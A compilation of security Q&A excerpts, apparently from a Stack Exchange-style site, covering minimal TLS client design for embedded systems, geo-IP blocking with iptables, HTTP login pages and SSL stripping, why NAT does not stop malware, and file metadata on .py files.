Use RSA key exchange and arrange for your system to be the "client": this allows it to use RSA in encryption mode only, which is notably simpler to implement than decryption. Also, the client needs not store an asymmetric private key, which is good since secure key storage is difficult.
Do not try to decode certificates. In normal SSL/TLS, the server sends its public key to the client as part of an X.509 certificate chain; the client is supposed to validate the chain with regards to a hard-coded public key. Just cut the middle-man, and hardcode the server public key in the client (X.509 certificate chain validation can be done -- even in 6 kB of code -- but it is utterly tricky).

Either way, without a crypto library on hand, you will have to reimplement a few basic algorithms, and that's known not to be easy (especially if you want to avoid side-channel attacks, which are always a concern with embedded systems). You will also need access to a cryptographically secure source of random number: on a pre-boot system, this may prove difficult. But it is extremely important for security.


Any open source software firewall with country based ip blocking feature? I am looking for an open source firewall with country based ip blocking feature for Linux OS.

iptables
Access to a geolocation database. As far as I'm aware, these all come with a fee. https://www.google.com/search?q=ip+geolocation
A shell script.


Is it secure for a site to serve the login page with HTTP, but have the actual site in HTTPS? On some websites, the login page (where you enter your login details) is served by a regular HTTP connection with no encryption. However, once I login, the page immediately switches to a secure HTTPS connection when displaying my account details, etc. It seems that using SSL after the password is entered is pointless, as an attacker can already intercept the connection and get the login details. Is securing the data after the login is entered have any security benefit whatsoever, or is it just a false sense of security?

An example of this is the Corsair Force website.

Especially on a login page the entire page should be https. Making, of all pages, the login page http and putting the https under a button is bad practice in my book.

This makes it a lot easier to perform MiTM/SSL strip attacks by replacing the https action under the button with a simple http link and no one can tell unless they inspect the source (as buttons don't show the link they are referring to as opposed to regular links in the content). And even when inspecting the source, as some browsers reload the page when showing source, there is no certainty.

Happy to hear reasons that contradict this, but I don't see why a login page should EVER be http on purpose when the rest of the site is https other than insecure development of the site.


Shouldn't we all be protected by NATing? Because of NAT, almost all users now are accessing internet via private IPs, and that's happening whether the users are behind a simple home router, or a complex proxy server.

So, and as I understand it, we have the followings:

In case of Bind_TCP connections, backdoors are useless to plant on victims, because we can't access directly.
In case of Reverse_TCP, it stays the same, we can't inject our private IP in the payload and wait a connection on a private IP.

And even if the attacker used port forwarding on his router and injected his public IP with the payload, that will make him traceable.

So in both ways, NATing is protecting us with private IPs, is that true or am I missing something?

Edit:

My network admin is convinced that NATing via proxy is enough for protection. I know that he's wrong, but I don't know how to convince him, and the NATing is used basically to protect from outside attackers, malwares from internet, dns spoofs, and any network based attacks.

My network admin is convinced that NATing via proxy is enough for protection... used basically to protect from outside attackers, malwares from internet, dns spoofs, and any network based attacks.

NAT helps to restrict access to systems inside an internal network from outside the network in that it only allows data from outside if a matching connection was initiated from inside.

But that's not what today's attacks are usually are. Today the typical attacks against users inside a network use malware attached to mails or delivered when visiting web sites (i.e. malvertisement, hacked web sites, fake antivirus or plugins...). In all these cases the internal user requests the data which means that no NAT will stop it.

And once the malware gets executed the malware connects to its outside masters from to receive its commands and malicious payloads. Since these connections are initiated from the inside NAT will not block anything either.


How Can I remove the metadatas of a .py file? I feel me embarrassed for ask this question, but I've never had a problem like that, I can't remove the metadatas of a Python File.
First I've tried with the simple tool of Windows but I didn't get nothing, even when I click "Select All the Items", It doesn't show nothing!

Secondly I've tried with the exiftool.exe, but without a solution,

Python files (.py) are just text files with a different extension that allows the operating system to easily recognise them. The 'metadata' seen in the Properties window is simply some information that is associated with every file, like the creation date.

The tool you are trying to use is for removing EXIF data from photo's. EXIF data is normally only included in image files, and your tool will not be able to remove it if it doesn't exist.

If you want to remove the information from the properties window before you send the file to others, there is no need to do so. When you send the file to other people normally (e.g. via e-mail) only the contents of the file (and sometimes the filename) is sent, no other metadata.